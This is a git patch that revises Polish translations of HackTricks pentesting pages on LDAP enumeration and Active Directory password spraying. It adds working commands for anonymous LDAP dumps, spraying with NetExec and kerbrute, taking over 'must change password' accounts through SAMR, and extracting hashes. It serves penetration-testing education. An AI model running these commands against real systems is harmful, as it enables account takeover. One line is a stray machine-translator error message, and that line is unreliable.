From 9df87765c154d0c5562167da07d7310106df3459 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Sep 2025 23:14:12 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's --- .../pentesting-ldap.md | 145 +++++++++++------- .../password-spraying.md | 92 ++++++----- .../privileged-groups-and-token-privileges.md | 139 +++++++++-------- theme/ai.js | 60 ++++++-- 4 files changed, 270 insertions(+), 166 deletions(-) diff --git a/src/network-services-pentesting/pentesting-ldap.md b/src/network-services-pentesting/pentesting-ldap.md index 0d0fd9cc8..22d764a63 100644 --- a/src/network-services-pentesting/pentesting-ldap.md +++ b/src/network-services-pentesting/pentesting-ldap.md @@ -2,13 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -Użycie **LDAP** (Lightweight Directory Access Protocol) ma na celu głównie lokalizowanie różnych podmiotów, takich jak organizacje, osoby i zasoby, takie jak pliki i urządzenia w sieciach, zarówno publicznych, jak i prywatnych. Oferuje uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu. +Zastosowanie **LDAP** (Lightweight Directory Access Protocol) polega głównie na lokalizowaniu różnych obiektów, takich jak organizacje, osoby oraz zasoby, np. pliki i urządzenia, w sieciach publicznych i prywatnych. Oferuje ono uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu. -Katalogi LDAP są zorganizowane w sposób umożliwiający ich dystrybucję na kilku serwerach, z których każdy przechowuje **replikowaną** i **zsynchronizowaną** wersję katalogu, nazywaną Agentem Systemu Katalogowego (DSA). Odpowiedzialność za obsługę żądań spoczywa całkowicie na serwerze LDAP, który może komunikować się z innymi DSA w razie potrzeby, aby dostarczyć jednolitą odpowiedź do wnioskodawcy. +Katalogi LDAP są zorganizowane tak, aby można je było rozdzielać między kilka serwerów, z każdym serwerem przechowującym **replikowaną** i **synchronizowaną** wersję katalogu, nazywaną Directory System Agent (DSA). Odpowiedzialność za obsługę żądań spoczywa w całości na serwerze LDAP, który w razie potrzeby może komunikować się z innymi DSA, aby dostarczyć spójną odpowiedź żądającemu. -Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na górze**. Rozgałęzia się to na kraje, które dzielą się dalej na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż w końcu osiąga poziom poszczególnych podmiotów, w tym zarówno ludzi, jak i wspólne zasoby, takie jak pliki i drukarki. +Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na szczycie**. Gałęzie rozchodzą się do krajów, które dalej dzielą się na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż do poziomu pojedynczych obiektów, obejmujących zarówno osoby, jak i zasoby współdzielone, takie jak pliki i drukarki. -**Domyślny port:** 389 i 636(ldaps). Globalny Katalog (LDAP w ActiveDirectory) jest dostępny domyślnie na portach 3268 i 3269 dla LDAPS. +**Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack @@ -16,7 +16,7 @@ PORT STATE SERVICE REASON ``` ### LDAP Data Interchange Format -LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zestaw rekordów. Może również reprezentować żądania aktualizacji (Dodaj, Zmień, Usuń, Zmień nazwę). +LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zbiór rekordów. Może również reprezentować żądania aktualizacji (Add, Modify, Delete, Rename). ```bash dn: dc=local dc: local @@ -45,14 +45,14 @@ ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` -- Linie 1-3 definiują najwyższy poziom domeny local -- Linie 5-8 definiują pierwszy poziom domeny moneycorp (moneycorp.local) -- Linie 10-16 definiują 2 jednostki organizacyjne: dev i sales -- Linie 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami +- Wiersze 1-3 definiują domenę najwyższego poziomu local +- Wiersze 5-8 definiują domenę pierwszego poziomu moneycorp (moneycorp.local) +- Wiersze 10-16 definiują 2 jednostki organizacyjne: dev i sales +- Wiersze 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami -## Zapisz dane +## Zapis danych -Zauważ, że jeśli możesz modyfikować wartości, możesz być w stanie wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informacje "sshPublicKey"** swojego użytkownika lub dowolnego użytkownika. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik, nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**. +Zwróć uwagę, że jeśli możesz modyfikować wartości, możesz wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informację "sshPublicKey"** swojego użytkownika lub dowolnego innego. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 @@ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ``` ## Sniff clear text credentials -Jeśli LDAP jest używany bez SSL, możesz **przechwycić dane logowania w postaci niezaszyfrowanej** w sieci. +Jeśli LDAP jest używany bez SSL możesz **sniff credentials in plain text** w sieci. -Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz przeprowadzić **atak downgrade**, aby klient używał **danych logowania w postaci niezaszyfrowanej** do logowania. +Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz wykonać **Downgrade Attack**, dzięki czemu klient użyje **credentials in clear text** do logowania. -**Jeśli SSL jest używane**, możesz spróbować przeprowadzić **MITM** jak wspomniano powyżej, oferując **fałszywy certyfikat**; jeśli **użytkownik go zaakceptuje**, możesz obniżyć metodę uwierzytelniania i ponownie zobaczyć dane logowania. +**If SSL is used** możesz spróbować wykonać **MITM** jak wyżej, ale oferując **false certificate**; jeśli **user accepts it**, będziesz w stanie obniżyć metodę uwierzytelniania i ponownie zobaczyć credentials. -## Anonymous Access +## Dostęp anonimowy -### Bypass TLS SNI check +### Obejście sprawdzenia TLS SNI -Zgodnie z [**tym artykułem**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) wystarczyło uzyskać dostęp do serwera LDAP z dowolną nazwą domeny (taką jak company.com), aby móc skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik: +Zgodnie z [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo uzyskanie dostępu do serwera LDAP za pomocą dowolnej nazwy domeny (np. company.com) pozwoliło mu skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonymous binds -[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieautoryzowanym atakującym** na uzyskanie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityki haseł domeny. Jest to **stara konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\ -Jednakże, administratorzy mogli potrzebować **skonfigurować określoną aplikację, aby umożliwić anonimowe połączenia** i przyznać więcej dostępu niż zamierzano, co skutkuje tym, że nieautoryzowani użytkownicy mają dostęp do wszystkich obiektów w AD. +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieuwierzytelnionym atakującym** na pobranie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityka haseł domeny. Jest to **przestarzała konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\ +Jednak administratorzy mogli potrzebować **skonfigurować konkretną aplikację tak, by pozwalała na anonymous binds** i przyznać więcej uprawnień niż zamierzano, co daje nieuwierzytelnionym użytkownikom dostęp do wszystkich obiektów w AD. -## Valid Credentials +### Anonymous LDAP enumeration with NetExec (null bind) -Jeśli masz ważne dane logowania do serwera LDAP, możesz zrzucić wszystkie informacje o Administratorze Domeny za pomocą: +Jeśli dozwolony jest null/anonymous bind, możesz pobrać użytkowników, grupy i atrybuty bezpośrednio za pomocą modułu LDAP NetExec bez creds. Przydatne filtry: +- (objectClass=*) aby zinwentaryzować obiekty pod base DN +- (sAMAccountName=*) aby zebrać user principals + +Przykłady: +```bash +# Enumerate objects from the root DSE (base DN autodetected) +netexec ldap -u '' -p '' --query "(objectClass=*)" "" + +# Dump users with key attributes for spraying and targeting +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" + +# Extract just the sAMAccountName field into a list +netexec ldap -u '' -p '' --query "(sAMAccountName=*)" "" \ +| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt +``` +What to look for: +- sAMAccountName, userPrincipalName +- memberOf i umiejscowienie OU, aby określić zakres dla targeted sprays +- pwdLastSet (wzorce czasowe), userAccountControl flags (disabled, smartcard required, etc.) + +Note: Jeśli anonymous bind nie jest dozwolony, zwykle zobaczysz Operations error wskazujący, że bind jest wymagany. + +## Prawidłowe poświadczenia + +Jeśli masz prawidłowe poświadczenia do zalogowania się na serwer LDAP, możesz zrzucić wszystkie informacje o Domain Admin używając: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash @@ -96,11 +121,11 @@ ldapdomaindump [-r ] -u '\' -p '' [--authty ``` ### [Brute Force](../generic-hacking/brute-force.md#ldap) -## Enumeracja +## Enumeration -### Zautomatyzowana +### Automatyczne -Korzystając z tego, będziesz mógł zobaczyć **publiczne informacje** (takie jak nazwa domeny)**:** +Dzięki temu będziesz w stanie zobaczyć **publiczne informacje** (np. nazwę domeny)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` @@ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials
-Zobacz enumerację LDAP za pomocą Pythona +Zobacz LDAP enumeration with python -Możesz spróbować **enumerować LDAP z lub bez poświadczeń za pomocą Pythona**: `pip3 install ldap3` +Możesz spróbować **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` -Najpierw spróbuj **połączyć się bez** poświadczeń: +Najpierw spróbuj **połączyć się bez** credentials: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) @@ -121,7 +146,7 @@ Najpierw spróbuj **połączyć się bez** poświadczeń: True >>> server.info ``` -Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** z serwera LDAP (takie jak **kontekst nazewniczy** lub **nazwa domeny**) z: +Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** dotyczące serwera LDAP (takie jak **naming context** czy **domain name**) z: ```bash >>> server.info DSA info (from DSE): @@ -129,13 +154,13 @@ Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` -Gdy masz już kontekst nazewniczy, możesz wykonać kilka bardziej interesujących zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu: +Gdy już masz kontekst nazewnictwa, możesz wykonać kilka ciekawszych zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` -Lub **zrzut** całego ldap: +Albo **dump** cały ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True @@ -145,7 +170,7 @@ True ### windapsearch -[**Windapsearch**](https://github.com/ropnop/windapsearch) to skrypt w Pythonie przydatny do **enumeracji użytkowników, grup i komputerów z domeny Windows** za pomocą zapytań LDAP. +[**Windapsearch**](https://github.com/ropnop/windapsearch) jest skryptem Python przydatnym do **enumeracji użytkowników, grup i komputerów w domenie Windows** przy użyciu zapytań LDAP. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers @@ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p ``` ### ldapsearch -Sprawdź puste poświadczenia lub czy twoje poświadczenia są ważne: +Sprawdź puste poświadczenia lub czy twoje poświadczenia są poprawne: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" @@ -173,7 +198,7 @@ result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` -Jeśli znajdziesz coś mówiącego, że "_bind musi być zakończony_", oznacza to, że dane uwierzytelniające są nieprawidłowe. +Jeśli zobaczysz komunikat "_bind must be completed_", oznacza to, że poświadczenia są niepoprawne. Możesz wyodrębnić **wszystko z domeny** używając: ```bash @@ -184,36 +209,36 @@ ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_ -w My password -b Base site, all data from here will be given ``` -Ekstraktuj **użytkowników**: +Wyodrębnij **użytkowników**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` -Wydobyć **komputery**: +Wyodrębnij **komputery**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` -Wyciągnij **moje informacje**: +I don't have access to src/network-services-pentesting/pentesting-ldap.md. Proszę wklej zawartość pliku (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę je na polski, zachowując dokładnie wszystkie znaczniki markdown/html oraz nie tłumacząc kodu, nazw technik, linków, ścieżek ani wskazanych terminów. ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstrakcja **Domain Admins**: +Wyodrębnij **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstrakcja **Użytkowników Domeny**: +Wyodrębnij **Domain Users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstrakcja **Enterprise Admins**: +Wyodrębnij **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstrakt **Administratorzy**: +Wyodrębnij **Administrators**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` -Ekstrakt **Remote Desktop Group**: +Wyodrębnij **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` @@ -221,12 +246,12 @@ Aby sprawdzić, czy masz dostęp do jakiegokolwiek hasła, możesz użyć grep p ```bash | grep -i -A2 -B2 "userpas" ``` -Proszę zauważyć, że hasła, które można tutaj znaleźć, mogą nie być prawdziwe... +Zwróć uwagę, że hasła, które możesz znaleźć tutaj, nie muszą być prawdziwe... #### pbis -Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest instalowany w `/opt/pbis`.\ -**Pbis** pozwala na łatwe uzyskanie podstawowych informacji: +Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest zainstalowany w `/opt/pbis`.\ +**Pbis** pozwala łatwo uzyskać podstawowe informacje: ```bash #Read keytab file ./klist -k /etc/krb5.keytab @@ -255,13 +280,13 @@ Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](http ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user -./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done +./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group -./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done +./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do @@ -274,11 +299,11 @@ done ### Apache Directory -[**Pobierz Apache Directory stąd**](https://directory.apache.org/studio/download/download-linux.html). Możesz znaleźć [przykład użycia tego narzędzia tutaj](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). +[**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer -Możesz pobrać interfejs graficzny z serwerem LDAP tutaj: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) +You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Domyślnie jest zainstalowany w: _/opt/jxplorer_ @@ -286,35 +311,35 @@ Domyślnie jest zainstalowany w: _/opt/jxplorer_ ### Godap -Godap to interaktywne terminalowe interfejs użytkownika dla LDAP, który można używać do interakcji z obiektami i atrybutami w AD i innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS i obsługuje proste połączenia, pass-the-hash, pass-the-ticket i pass-the-cert, a także kilka innych specjalistycznych funkcji, takich jak wyszukiwanie/tworzenie/zmiiana/usuwanie obiektów, dodawanie/usuwanie użytkowników z grup, zmiana haseł, edytowanie uprawnień obiektów (DACL), modyfikowanie zintegrowanego DNS Active Directory (ADIDNS), eksportowanie do plików JSON itp. +Godap to interaktywny terminalowy interfejs użytkownika dla LDAP, który pozwala na interakcję z obiektami i atrybutami w AD oraz innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS oraz obsługuje simple binds, pass-the-hash, pass-the-ticket i pass-the-cert, wraz z wieloma innymi wyspecjalizowanymi funkcjami, takimi jak searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modyfikowanie Active-Directory Integrated DNS (ADIDNS), eksport do plików JSON itp. ![](../images/godap.png) -Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Aby zobaczyć przykłady użycia i instrukcje, przeczytaj [Wiki](https://github.com/Macmod/godap/wiki). +Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Przykłady użycia i instrukcje znajdziesz na [Wiki](https://github.com/Macmod/godap/wiki). ### Ldapx -Ldapx to elastyczny proxy LDAP, który można używać do inspekcji i transformacji ruchu LDAP z innych narzędzi. Może być używany do obfuskacji ruchu LDAP w celu próby ominięcia narzędzi ochrony tożsamości i monitorowania LDAP oraz implementuje większość metod przedstawionych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). +Ldapx to elastyczny LDAP proxy, który może być używany do inspekcji i transformacji ruchu LDAP generowanego przez inne narzędzia. Może służyć do obfuskacji ruchu LDAP w celu próby obejścia mechanizmów ochrony tożsamości i narzędzi monitorujących LDAP oraz implementuje większość metod zaprezentowanych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). ![](../images/ldapx.png) Możesz go pobrać z [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). -## Uwierzytelnianie za pomocą kerberos +## Uwierzytelnianie przez Kerberos -Używając `ldapsearch`, możesz **uwierzytelnić się** za pomocą **kerberos zamiast** przez **NTLM**, używając parametru `-Y GSSAPI` +Używając `ldapsearch` możesz **uwierzytelniać się** przy użyciu **Kerberos** zamiast **NTLM**, stosując parametr `-Y GSSAPI` ## POST -Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą być w _/var/lib/ldap_). Możesz wyodrębnić hashe używając: +Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą się znajdować w _/var/lib/ldap_). Możesz wydobyć hashe używając: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` -Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural'). +Możesz załadować do john hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural'). ### Pliki konfiguracyjne -- Ogólne +- General - containers.ldif - ldap.cfg - ldap.conf @@ -335,7 +360,7 @@ Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 's - Sun ONE Directory Server 5.1 - 75sas.ldif -## HackTricks Automatyczne Komendy +## HackTricks Automatyczne polecenia ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. @@ -378,4 +403,10 @@ Entry_7: Name: Netexec LDAP BloodHound Command: nxc ldap -u -p --bloodhound -c All -d --dns-server --dns-tcp ``` +## Źródła + +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) +- [NetExec (następca CME)](https://github.com/Pennyw0rth/NetExec) +- [Microsoft: Anonymous LDAP operations wobec Active Directory są wyłączone](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 6789875ee..68d8d6abc 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Po znalezieniu kilku **valid usernames** możesz spróbować najczęściej używanych **common passwords** (pamiętaj o **password policy** środowiska) dla każdego z odkrytych użytkowników.\ +Po znalezieniu kilku **valid usernames** możesz spróbować najpopularniejszych **common passwords** (uwzględniając password policy środowiska) dla każdego z odkrytych użytkowników.\ By **default** the **minimum** **password** **length** is **7**. Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10). +Zwróć uwagę, że możesz **could lockout some accounts if you try several wrong passwords** (by default więcej niż 10). ### Get password policy -Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**: +Jeśli masz jakieś user credentials lub shell jako domain user, możesz **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,27 +31,42 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Eksploatacja z Linuxa (lub innych systemów) +### Eksploatacja z Linuxa (lub ogólnie) -- Korzystanie z **crackmapexec:** +- Przy użyciu **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) ## --local-auth flag indicate to only try 1 time per machine crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + ``` -- Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) +- Używanie **NetExec (CME successor)** do ukierunkowanego, niskoszumowego sprayingu przez SMB/WinRM: +```bash +# Optional: generate a hosts entry to ensure Kerberos FQDN resolution +netexec smb --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts + +# Spray a single candidate password against harvested users over SMB +netexec smb -u users.txt -p 'Password123!' \ +--continue-on-success --no-bruteforce --shares + +# Validate a hit over WinRM (or use SMB exec methods) +netexec winrm -u -p 'Password123!' -x "whoami" + +# Tip: sync your clock before Kerberos-based auth to avoid skew issues +sudo ntpdate +``` +- Korzystanie z [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) ```bash # Password Spraying ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 # Brute-Force ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ``` -- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć blokad):**_ +- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowań):**_ ```bash spray.sh -smb ``` -- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA +- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE ZALECANE, CZASAMI NIE DZIAŁA ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -67,9 +82,9 @@ for u in $(cat users.txt); do rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; done ``` -#### Z systemu Windows +#### Z Windows -- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: +- Za pomocą [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: ```bash # with a list of users .\Rubeus.exe brute /users: /passwords: /domain: /outfile: @@ -77,7 +92,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może generować użytkowników z domeny oraz pobiera politykę haseł z domeny i ogranicza liczbę prób zgodnie z nią): +- Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny, pobrać politykę haseł i ograniczyć próby zgodnie z nią): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword ``` ### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR) -Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wychwyceniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało przymusowo wygaszone i można je zmienić bez znajomości poprzedniego. +Technika niskiego poziomu hałasu polega na spray a benign/empty password i wykryciu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co wskazuje, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości starego. -Przebieg: -- Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów: +Workflow: +- Wykonaj enumerację użytkowników (RID brute via SAMR), aby zbudować listę celów: {{#ref}} ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -99,12 +114,12 @@ Przebieg: # NetExec (null/guest) + RID brute to harvest users netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt ``` -- Spryskaj pustym hasłem i kontynuuj przy trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: +- Użyj password spraying z pustym hasłem i kontynuuj po trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: ```bash # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results netexec smb -u users.txt -p '' --continue-on-success ``` -- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec’s (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): +- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): ```bash # Strong complexity to satisfy policy env NEWPASS='P@ssw0rd!2025#' ; \ @@ -115,23 +130,23 @@ netexec smb -u -p "$NEWPASS" --pass-pol ``` Uwagi operacyjne: - Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate `. -- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw logowania interaktywnego. +- Znak [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są prawidłowe, ale konto nie ma praw do logowania interaktywnego. ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` -### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i throttlingiem uwzględniającym PSO (SpearSpray) +### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying zmniejsza szum w porównaniu do prób 